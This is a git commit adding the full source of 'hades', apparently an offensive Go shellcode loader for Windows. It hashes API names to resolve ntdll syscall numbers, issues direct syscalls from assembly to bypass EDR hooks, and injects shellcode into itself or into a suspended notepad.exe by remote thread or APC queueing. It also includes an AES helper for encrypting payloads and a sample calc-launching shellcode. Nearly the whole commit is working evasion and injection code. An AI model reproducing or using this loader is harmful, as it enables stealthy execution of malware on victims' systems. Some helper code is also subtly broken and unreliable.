This commit is contained in:
fizm0 2022-10-11 10:31:29 +02:00
commit 9850f0476d
19 changed files with 991 additions and 0 deletions

5
.gitignore vendored Normal file
View File

@ -0,0 +1,5 @@
.vim
build/
dist/
test_files/
test_scripts/

63
Makefile Normal file
View File

@ -0,0 +1,63 @@
# --- Go Variables
GO=$(shell which go)
GOINSTALL=${GO} install
GOGET=${GO} get
GOBUILD=${GO} build
GOTEST=${GO} test
# --- Config Variables
WIN_ARCHS=amd64 # 386 (not supported yet)
COMMIT_ID=$(shell git rev-parse --short HEAD)
TODAY=$(shell date +%d/%m/%y)
ifdef VERSION
VERSION := $(VERSION)
else
VERSION := dev
endif
# --- Project Vars
PROJ_NAME=hades
PROJ_MOD_PREFIX=github.com/f1zm0/hades
BUILD_PATH=${CURDIR}/dist
ENTRYPOINT=${CURDIR}/cmd/hades/main.go
# --- Compiler Vars
GCFLAGS=-gcflags=all=-trimpath=$(GOPATH)
ASMFLAGS=-asmflags=all=-trimpath=$(GOPATH)
# LDFLAGS="-s -w -H=windowsgui"
LDFLAGS="-s -w"
# --- Targets
.PHONY: default
default: build
.PHONY: help
## help: prints an help message with all the available targets
help:
@echo "Usage: \n"
@sed -n 's/^##//p' ${MAKEFILE_LIST} | column -t -s ':' | sed -e 's/^/ /'
.PHONY: clean
## clean: delete all binaries
clean:
@if [ -d "${BUILD_PATH}" ]; then ${RM} ${BUILD_PATH}/* ; fi
.PHONY: test
## test: test code base using go test
test:
${GOTEST} ./... -v -cover
.PHONY: build
## build: builds binary for Windows
build:
@for ARCH in ${WIN_ARCHS}; do \
echo "Building binaries for Windows $${ARCH} ..."; \
GOOS=windows GOARCH=$${ARCH} ${GOBUILD} -ldflags=${LDFLAGS} ${GCFLAGS} ${ASMFLAGS} \
-o ${BUILD_PATH}/${PROJ_NAME}-win-$${ARCH}-${VERSION}.exe ${ENTRYPOINT} || exit 1;\
done;

1
README.md Normal file
View File

@ -0,0 +1 @@
# hades

49
cmd/hades/main.go Normal file
View File

@ -0,0 +1,49 @@
//go:build windows
// +build windows
package main
import (
"fmt"
"github.com/f1zm0/hades/internal/loader"
)
func main() {
// pop calc
calcSc := []byte{
0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63,
0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51,
0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b,
0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18,
0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29,
0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76,
0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48,
0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57,
0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f,
0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24,
0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75,
0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe,
0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff,
0xd7,
}
ldr := loader.NewLoader()
// if err := ldr.SelfInjectThread(calcSc); err !+ nil {
// fmt.Printf("An error occured:\n%s\n", err.Error())
// }
// if err := ldr.RemoteThreadInject(calcSc); err != nil {
// fmt.Printf("An error occured:\n%s\n", err.Error())
// }
if err := ldr.QueueUserAPC(calcSc); err != nil {
fmt.Printf("An error occured:\n%s\n", err.Error())
}
// reader := bufio.NewReader(os.Stdin)
// fmt.Print("Press enter to continue ...")
// _, _ = reader.ReadString('\n')
}

37
cmd/hasher/main.go Normal file
View File

@ -0,0 +1,37 @@
package main
import (
"flag"
"fmt"
"os"
"strings"
"github.com/f1zm0/hades/pkg/hashing"
)
func main() {
flag.Usage = func() {
helpMsg := []string{
"Usage:",
"hasher '<string> [<string>...]'",
"",
}
fmt.Fprintf(os.Stderr, strings.Join(helpMsg, "\n"))
}
flag.Parse()
// Check if 1+ cli args has been specified
if flag.NArg() == 0 {
flag.Usage()
os.Exit(1)
}
djb2 := hashing.NewDJB2()
fmt.Printf("\n")
for _, s := range flag.Args() {
fmt.Printf("%s => %d\n", s, djb2.HashString(s))
}
}

8
go.mod Normal file
View File

@ -0,0 +1,8 @@
module github.com/f1zm0/hades
go 1.17
require (
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9
)

4
go.sum Normal file
View File

@ -0,0 +1,4 @@
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 h1:XfKQ4OlFl8okEOr5UvAqFRVj8pY/4yfcXrddB8qAbU0=
golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=

View File

@ -0,0 +1,147 @@
//go:build windows
// +build windows
package loader
import (
"unsafe"
"golang.org/x/sys/windows"
)
const (
nullptr = uintptr(0)
)
func createSuspendedProcess() (*windows.ProcessInformation, error) {
var si windows.StartupInfo
var pi windows.ProcessInformation
pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
if err != nil {
return nil, err
}
if err = windows.CreateProcess(
nil,
pCmdStr,
nil,
nil,
false,
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi,
); err != nil {
return nil, err
}
return &pi, nil
}
func (pl *Loader) NtAllocateVirtualMemory(
hProc, baseAddr uintptr,
memSize int,
allocType, protectAttr uintptr,
) (uintptr, error) {
if _, err := Syscall(
uint16(pl.ntdllApi[int64(-8110667262648832052)].SyscallID),
hProc,
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(nil)),
uintptr(unsafe.Pointer(&memSize)),
allocType,
protectAttr,
); err != nil {
return nullptr, err
}
return baseAddr, nil
}
func (pl *Loader) NtWriteVirtualMemory(
hProc, baseAddr uintptr,
buf []byte,
numBytesToWrite int,
) (uintptr, error) {
if _, err := Syscall(
uint16(pl.ntdllApi[int64(-8604883203860988910)].SyscallID),
hProc,
uintptr(unsafe.Pointer(baseAddr)),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(numBytesToWrite),
0,
); err != nil {
return nullptr, err
}
return nullptr, nil
}
func (pl *Loader) NtProtectVirtualMemory(
hProc, baseAddr uintptr,
memSize int,
newProtect uintptr,
oldProtect uintptr,
) (uintptr, error) {
if _, err := Syscall(
uint16(pl.ntdllApi[int64(8609481851873969992)].SyscallID),
hProc,
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(&memSize)),
newProtect,
uintptr(unsafe.Pointer(&oldProtect)),
); err != nil {
return nullptr, err
}
return oldProtect, nil
}
func (pl *Loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) {
if _, err := Syscall(
uint16(pl.ntdllApi[-8677770082300808784].SyscallID),
uintptr(unsafe.Pointer(&hThread)), // ThreadHandle
windows.GENERIC_EXECUTE, // DesiredAccess
0, // ObjectAttributes
hProc, // ProcessHandle
baseAddr, // StartRoutine
0, // Argument
uintptr(0), // CreateFlags
0, // ZeroBits
0, // StackSize
0, // MaxStackSize
0, // AttributeList
); err != nil {
return nullptr, err
}
return hThread, nil
}
func (pl *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
if _, err := Syscall(
uint16(pl.ntdllApi[-7842467120007854408].SyscallID),
hThread, // ThreadHandle
baseAddr, // ApcRoutine
uintptr(0), // ApcRoutineContext (optional)
0, // ApcStatusBlock (optional)
0, // ApcReserved (optional)
); err != nil {
return nullptr, err
}
return nullptr, nil
}
// NOT WORKING: gets called but then creashes because of invalid PC
// func (pl *Loader) NtAlertResumeThread(hThread uintptr) (uintptr, error) {
// if _, err := Syscall(
// uint16(pl.ntdllApi[5863495249448612240].SyscallID),
// hThread,
// uintptr(0),
// ); err != nil {
// return nullptr, err
// }
// return nullptr, nil
// }

102
internal/loader/asm64.s Normal file
View File

@ -0,0 +1,102 @@
// ----------------------------
// func GetInMemoryOrderModuleListPtr() uintptr
// ----------------------------
TEXT ·GetInMemoryOrderModuleListPtr(SB),$0-8
// PEB
MOVQ 0x60(GS), AX
// PEB->Ldr
MOVQ 0x18(AX), AX
// PEB->Ldr->InMemoryOrderModuleList
MOVQ 0x20(AX), AX
MOVQ AX, ret+0(FP)
RET
// ----------------------------
// func GetLdrTableEntryPtr(listptr uintptr, i int64) *LdrDataTableEntry
// ----------------------------
TEXT ·GetLdrTableEntryPtr(SB),$0-24
MOVQ listptr+0(FP), AX
XORQ R10, R10
next_entry:
CMPQ R10, i+8(FP)
JE endloop
// next Flink
MOVQ (AX), AX
INCQ R10
JMP next_entry
endloop:
MOVQ AX, CX
// start of LDR_DATA_TABLE_ENTRY struct
SUBQ $0x10, CX
MOVQ CX, ret+16(FP)
RET
// ----------------------------
// func execSyscall(callID uint16, argh ...uintptr) (errcode uint32)
// ----------------------------
// Implementation taken from:
// https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s#L96
#define maxargs 16
TEXT ·execSyscall(SB), $0-56
XORQ AX,AX
MOVW callid+0(FP), AX
PUSHQ CX
//put variadic size into CX
MOVQ argh_len+16(FP),CX
//put variadic pointer into SI
MOVQ argh_base+8(FP),SI
// SetLastError(0).
MOVQ 0x30(GS), DI
MOVL $0, 0x68(DI)
SUBQ $(maxargs*8), SP // room for args
// Fast version, do not store args on the stack.
CMPL CX, $4
JLE loadregs
// Check we have enough room for args.
CMPL CX, $maxargs
JLE 2(PC)
INT $3 // not enough room -> crash
// Copy args to the stack.
MOVQ SP, DI
CLD
REP; MOVSQ
MOVQ SP, SI
//move the stack pointer????? why????
SUBQ $8, SP
loadregs:
// Load first 4 args into correspondent registers.
MOVQ 0(SI), CX
MOVQ 8(SI), DX
MOVQ 16(SI), R8
MOVQ 24(SI), R9
// Floating point arguments are passed in the XMM
// registers. Set them here in case any of the arguments
// are floating point values. For details see
// https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
MOVQ CX, X0
MOVQ DX, X1
MOVQ R8, X2
MOVQ R9, X3
//MOVW callid+0(FP), AX
MOVQ CX, R10
SYSCALL
ADDQ $((maxargs+1)*8), SP
// Return result.
POPQ CX
MOVL AX, errcode+32(FP)
RET

159
internal/loader/loader.go Normal file
View File

@ -0,0 +1,159 @@
package loader
import (
"bytes"
"encoding/binary"
"errors"
"io"
"sort"
"strings"
"unsafe"
"github.com/f1zm0/hades/pkg/hashing"
rrd "github.com/f1zm0/hades/pkg/rawreader"
"github.com/Binject/debug/pe"
)
type PEModule struct {
BaseAddr uintptr
File *pe.File
}
type InMemProc struct {
Name string
BaseAddr uintptr
SyscallID int
}
type Loader struct {
// Hashing provider
djb2 *hashing.DJB2
// Map of ntdll.dll [funcNameHash]syscallID
ntdllApi map[int64]InMemProc
}
func NewLoader() *Loader {
djb2 := hashing.NewDJB2()
pl := &Loader{djb2: djb2}
ntProcs, err := pl.ResolveSyscallIDs()
if err != nil {
panic(err)
}
pl.ntdllApi = ntProcs
return pl
}
func (pl *Loader) GetSysID(funcName string) int {
fHash := pl.djb2.HashString(funcName)
if v, ok := pl.ntdllApi[fHash]; ok {
return v.SyscallID
}
return -1
}
func (pl *Loader) GetModuleHandleByHash(modNameHash int64) (*PEModule, error) {
entries := GetLdrTableEntries()
for _, entry := range entries {
if pl.djb2.HashString(entry.BaseDllName.String()) == modNameHash {
modBaseAddr := uintptr(unsafe.Pointer(entry.DllBase))
modSize := int(uintptr(unsafe.Pointer(entry.SizeOfImage)))
rr := rrd.NewRawReader(modBaseAddr, modSize)
p, err := pe.NewFileFromMemory(rr)
if err != nil {
return nil, errors.New("Error reading module from memory")
}
pm := &PEModule{
BaseAddr: modBaseAddr,
File: p,
}
return pm, nil
}
}
return nil, errors.New("Module not found. Probably not loaded.")
}
func (pl *Loader) GetProcAddressByHash(p *PEModule, funcNameHash int64) (int64, error) {
ex, err := p.File.Exports()
if err != nil {
return 0, err
}
for _, exp := range ex {
if pl.djb2.HashString(exp.Name) == funcNameHash {
return (int64(p.BaseAddr) + int64(exp.VirtualAddress)), nil
}
}
return 0, errors.New("Function not found")
}
func GetAllProcs(p *PEModule) ([]InMemProc, error) {
var procs []InMemProc
ex, err := p.File.Exports()
if err != nil {
return procs, err
}
for _, exp := range ex {
memAddr := int64(p.BaseAddr) + int64(exp.VirtualAddress)
procs = append(procs, InMemProc{
Name: exp.Name,
BaseAddr: uintptr(memAddr),
})
}
return procs, nil
}
func (p *InMemProc) IsHooked() bool {
safeBytes := []byte{0x4c, 0x8b, 0xd1, 0xb8}
stub := make([]byte, len(safeBytes))
rr := rrd.NewRawReader(p.BaseAddr, len(safeBytes))
sr := io.NewSectionReader(rr, 0, 1<<63-1)
binary.Read(sr, binary.LittleEndian, &stub)
if bytes.Compare(stub, safeBytes) == 0 {
return true
}
return false
}
func (pl *Loader) ResolveSyscallIDs() (map[int64]InMemProc, error) {
procMap := make(map[int64]InMemProc)
var ntProcs []InMemProc
hNtdll, err := pl.GetModuleHandleByHash(249899979757565421)
if err != nil {
return procMap, err
}
procs, err := GetAllProcs(hNtdll)
if err != nil {
return procMap, err
}
for _, p := range procs {
if strings.HasPrefix(p.Name, "Zw") {
ntProcs = append(ntProcs, p)
}
}
sort.Slice(ntProcs, func(i, j int) bool {
return ntProcs[i].BaseAddr < ntProcs[j].BaseAddr
})
for i := range ntProcs {
ntProcs[i].SyscallID = i
ntProcs[i].Name = "Nt" + ntProcs[i].Name[2:]
procMap[pl.djb2.HashString(ntProcs[i].Name)] = ntProcs[i]
}
return procMap, nil
}

37
internal/loader/peb.go Normal file
View File

@ -0,0 +1,37 @@
package loader
import (
"unsafe"
wt "github.com/f1zm0/hades/internal/types"
)
func GetLdrTableEntryPtr(listptr uintptr, i int64) *wt.LdrDataTableEntry
func GetInMemoryOrderModuleListPtr() uintptr
func GetLdrTableEntries() []*wt.LdrDataTableEntry {
entries := []*wt.LdrDataTableEntry{}
var (
entry *wt.LdrDataTableEntry
firstEntry *wt.LdrDataTableEntry
)
// addr of Ldr->InMemoryOrderModuleList
modListPtr := GetInMemoryOrderModuleListPtr()
firstEntry = GetLdrTableEntryPtr(modListPtr, 0)
entries = append(entries, firstEntry)
i := int64(1)
for {
entry = GetLdrTableEntryPtr(modListPtr, i)
if entry == firstEntry || unsafe.Pointer(entry.DllBase) == unsafe.Pointer(nil) {
break
}
entries = append(entries, entry)
i = i + 1
}
return entries
}

149
internal/loader/runner.go Normal file
View File

@ -0,0 +1,149 @@
// + build windows
package loader
import (
"fmt"
"golang.org/x/sys/windows"
)
func (pl *Loader) SelfInjectThread(scbuf []byte) error {
var (
err error
scBaseAddr uintptr
hThread uintptr
)
hSelf := uintptr(0xffffffffffffffff) // handle to current proc
scBaseAddr, err = pl.NtAllocateVirtualMemory(
hSelf,
scBaseAddr,
len(scbuf),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if err != nil {
return err
}
fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr)
// memory.WriteMemory(scbuf, scBaseAddr)
if _, err := pl.NtWriteVirtualMemory(hSelf, scBaseAddr, scbuf, len(scbuf)); err != nil {
return err
}
fmt.Println("Shellcode copied to allocated memory")
fmt.Println("Changing memory protection to RX")
if _, err := pl.NtProtectVirtualMemory(hSelf, scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil {
return err
}
fmt.Println("Creating thread to exec shellcode ...")
hThread, err = pl.NtCreateThreadEx(hThread, hSelf, scBaseAddr)
if err != nil {
return err
}
windows.WaitForSingleObject(windows.Handle(hThread), 0xffffffff)
fmt.Println("Injection complted succesfully")
return nil
}
func (pl *Loader) RemoteThreadInject(scbuf []byte) error {
var (
err error
scBaseAddr uintptr
)
fmt.Println("Creating suspended process ...")
pi, err := createSuspendedProcess()
if err != nil {
return err
}
scBaseAddr, err = pl.NtAllocateVirtualMemory(
uintptr(pi.Process),
scBaseAddr,
len(scbuf),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if err != nil {
return err
}
fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr)
// memory.WriteMemory(scbuf, scBaseAddr)
if _, err := pl.NtWriteVirtualMemory(uintptr(pi.Process), scBaseAddr, scbuf, len(scbuf)); err != nil {
return err
}
fmt.Println("Shellcode copied to allocated memory")
fmt.Println("Changing memory protection to RX")
if _, err := pl.NtProtectVirtualMemory(uintptr(pi.Process), scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil {
return err
}
fmt.Println("Creating thread to exec shellcode ...")
_, err = pl.NtCreateThreadEx(uintptr(pi.Thread), uintptr(pi.Process), scBaseAddr)
if err != nil {
return err
}
fmt.Println("Closing thread handle ...")
if err := windows.Close(windows.Handle(pi.Process)); err != nil {
return err
}
fmt.Println("Injection completed succesfully!")
return nil
}
func (pl *Loader) QueueUserAPC(scbuf []byte) error {
var (
err error
scBaseAddr uintptr
)
pi, err := createSuspendedProcess()
if err != nil {
return err
}
fmt.Printf("Created suspended process ...\n")
scBaseAddr, err = pl.NtAllocateVirtualMemory(
uintptr(pi.Process),
scBaseAddr,
len(scbuf),
windows.MEM_COMMIT|windows.MEM_RESERVE,
windows.PAGE_READWRITE,
)
if err != nil {
return err
}
fmt.Printf("Base address of allocated memory: 0x%016x\n", scBaseAddr)
if _, err := pl.NtWriteVirtualMemory(uintptr(pi.Process), scBaseAddr, scbuf, len(scbuf)); err != nil {
return err
}
fmt.Println("Writing shellcode to allocated memory")
fmt.Println("Changing memory protection to RX")
if _, err := pl.NtProtectVirtualMemory(uintptr(pi.Process), scBaseAddr, len(scbuf), windows.PAGE_EXECUTE_READ, windows.PAGE_READWRITE); err != nil {
return err
}
fmt.Println("Adding thread to APC queue ...")
if _, err := pl.NtQueueApcThread(uintptr(pi.Thread), scBaseAddr); err != nil {
return err
}
fmt.Println("Resuming thread to execute shellcode...")
if _, err := windows.ResumeThread(windows.Handle(pi.Thread)); err != nil {
return err
}
fmt.Println("Injection completed succesfully")
return nil
}

View File

@ -0,0 +1,14 @@
package loader
import "errors"
func execSyscall(callid uint16, argh ...uintptr) (errcode uint32)
func Syscall(syscallID uint16, args ...uintptr) (errcode uint32, err error) {
errcode = execSyscall(syscallID, args...)
if errcode != 0 {
return errcode, errors.New("non-zero return from syscall")
}
return errcode, nil
}

15
internal/memory/memory.go Normal file
View File

@ -0,0 +1,15 @@
package memory
import (
"unsafe"
)
// WriteMemory writes the provided memory to the specified memory address.
// It does NOT check permissions, may cause panic if memory is not writable etc.
func WriteMemory(inbuf []byte, destination uintptr) {
for index := uint32(0); index < uint32(len(inbuf)); index++ {
writePtr := unsafe.Pointer(destination + uintptr(index))
v := (*byte)(writePtr)
*v = inbuf[index]
}
}

40
internal/types/ldr.go Normal file
View File

@ -0,0 +1,40 @@
package types
import (
"fmt"
"unsafe"
)
type LdrDataTableEntry struct {
InLoadOrderLinks ListEntry
InMemoryOrderLinks ListEntry
InInitializationOrderLinks ListEntry
DllBase *uintptr
EntryPoint *uintptr
SizeOfImage *uintptr
FullDllName UnicodeString
BaseDllName UnicodeString
Flags uint32
LoadCount uint16
TlsIndex uint16
HashLinks ListEntry
TimeDateStamp uint64
}
type ListEntry struct {
Flink *ListEntry
Blink *ListEntry
}
func (te *LdrDataTableEntry) DumpInfo() {
fmt.Printf(`
----
Name: %s
Base: 0x%016x
Size: %d
`,
te.FullDllName.String(),
uintptr(unsafe.Pointer(te.DllBase)),
int(uintptr(unsafe.Pointer(te.SizeOfImage))),
)
}

View File

@ -0,0 +1,13 @@
package types
import "golang.org/x/sys/windows"
type UnicodeString struct {
Length uint16
MaximumLength uint16
Buffer *uint16
}
func (s UnicodeString) String() string {
return windows.UTF16PtrToString(s.Buffer)
}

81
pkg/crypt/aes.go Normal file
View File

@ -0,0 +1,81 @@
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/hex"
"errors"
"io/ioutil"
"log"
"strings"
)
var (
ErrInvalidBlockSize = errors.New("[!] Invalid block size")
ErrInvalidPKCS7Data = errors.New("[!] Invalid PKCS7 Data (Empty or Not Padded)")
ErrInvalidPKCS7Padding = errors.New("[!] Invalid padding on input")
)
func GetRandBuffer(size int) []byte {
buf := make([]byte, size)
_, err := rand.Read(buf)
if err != nil {
log.Fatal(err)
}
return buf
}
func Pkcs7Pad(b []byte, blocksize int) ([]byte, error) {
if blocksize <= 0 {
return nil, ErrInvalidBlockSize
}
if b == nil || len(b) == 0 {
return nil, ErrInvalidPKCS7Data
}
n := blocksize - (len(b) % blocksize)
pb := make([]byte, len(b)+n)
copy(pb, b)
copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n))
return pb, nil
}
func EncryptBuffer(buf []byte) ([]byte, []byte, []byte) {
var rawbyte []byte
key := GetRandBuffer(32)
iv := GetRandBuffer(16)
block, err := aes.NewCipher(key)
if err != nil {
log.Fatal(err)
}
paddedInput, err := Pkcs7Pad([]byte(rawbyte), aes.BlockSize)
if err != nil {
log.Fatal(err)
}
encBuf := make([]byte, len(paddedInput))
encMode := cipher.NewCBCEncrypter(block, iv)
encMode.CryptBlocks(encBuf, paddedInput)
return iv, key, encBuf
}
func Encrypt(scFile string) string {
src, _ := ioutil.ReadFile(scFile)
dst := make([]byte, hex.EncodedLen(len(src)))
hex.Encode(dst, src)
r := base64.StdEncoding.EncodeToString(dst)
iv, key, encBuf := EncryptBuffer([]byte(r))
b64EncBuf := base64.StdEncoding.EncodeToString(encBuf)
b64Key := base64.StdEncoding.EncodeToString(key)
b64IV := base64.StdEncoding.EncodeToString(iv)
return strings.Join([]string{b64IV, b64Key, b64EncBuf}, ":")
}

19
pkg/hashing/djb2.go Normal file
View File

@ -0,0 +1,19 @@
package hashing
import (
"strings"
)
type DJB2 struct{}
func NewDJB2() *DJB2 {
return &DJB2{}
}
func (d *DJB2) HashString(s string) int64 {
var hash int64 = 5381
for _, c := range strings.ToLower(s) {
hash = ((hash << 5) + hash) + int64(c)
}
return hash
}

View File

@ -0,0 +1,48 @@
package rawreader
import (
"errors"
"io"
"reflect"
"unsafe"
)
// RawReader struct and functions below are taken from:
// https://github.com/awgh/rawreader/blob/master/rawreader.go
// RawReader struct uses reflect to read data from underlying memory
type RawReader struct {
sliceHeader *reflect.SliceHeader
rawPtr uintptr
Data []byte
Length int
}
// NewRawReader returns a reference to a new populated RawReader
func NewRawReader(start uintptr, length int) *RawReader {
sh := &reflect.SliceHeader{
Data: start,
Len: length,
Cap: length,
}
data := *(*[]byte)(unsafe.Pointer(sh))
return &RawReader{sliceHeader: sh, rawPtr: start, Data: data, Length: length}
}
// ReadAt func reads a file with a seek offset
func (f *RawReader) ReadAt(p []byte, off int64) (n int, err error) {
if off < 0 {
return 0, errors.New("RawReader.ReadAt: negative offset")
}
reqLen := len(p)
buffLen := int64(f.Length)
if off >= buffLen {
return 0, io.EOF
}
n = copy(p, f.Data[off:])
if n < reqLen {
err = io.EOF
}
return n, err
}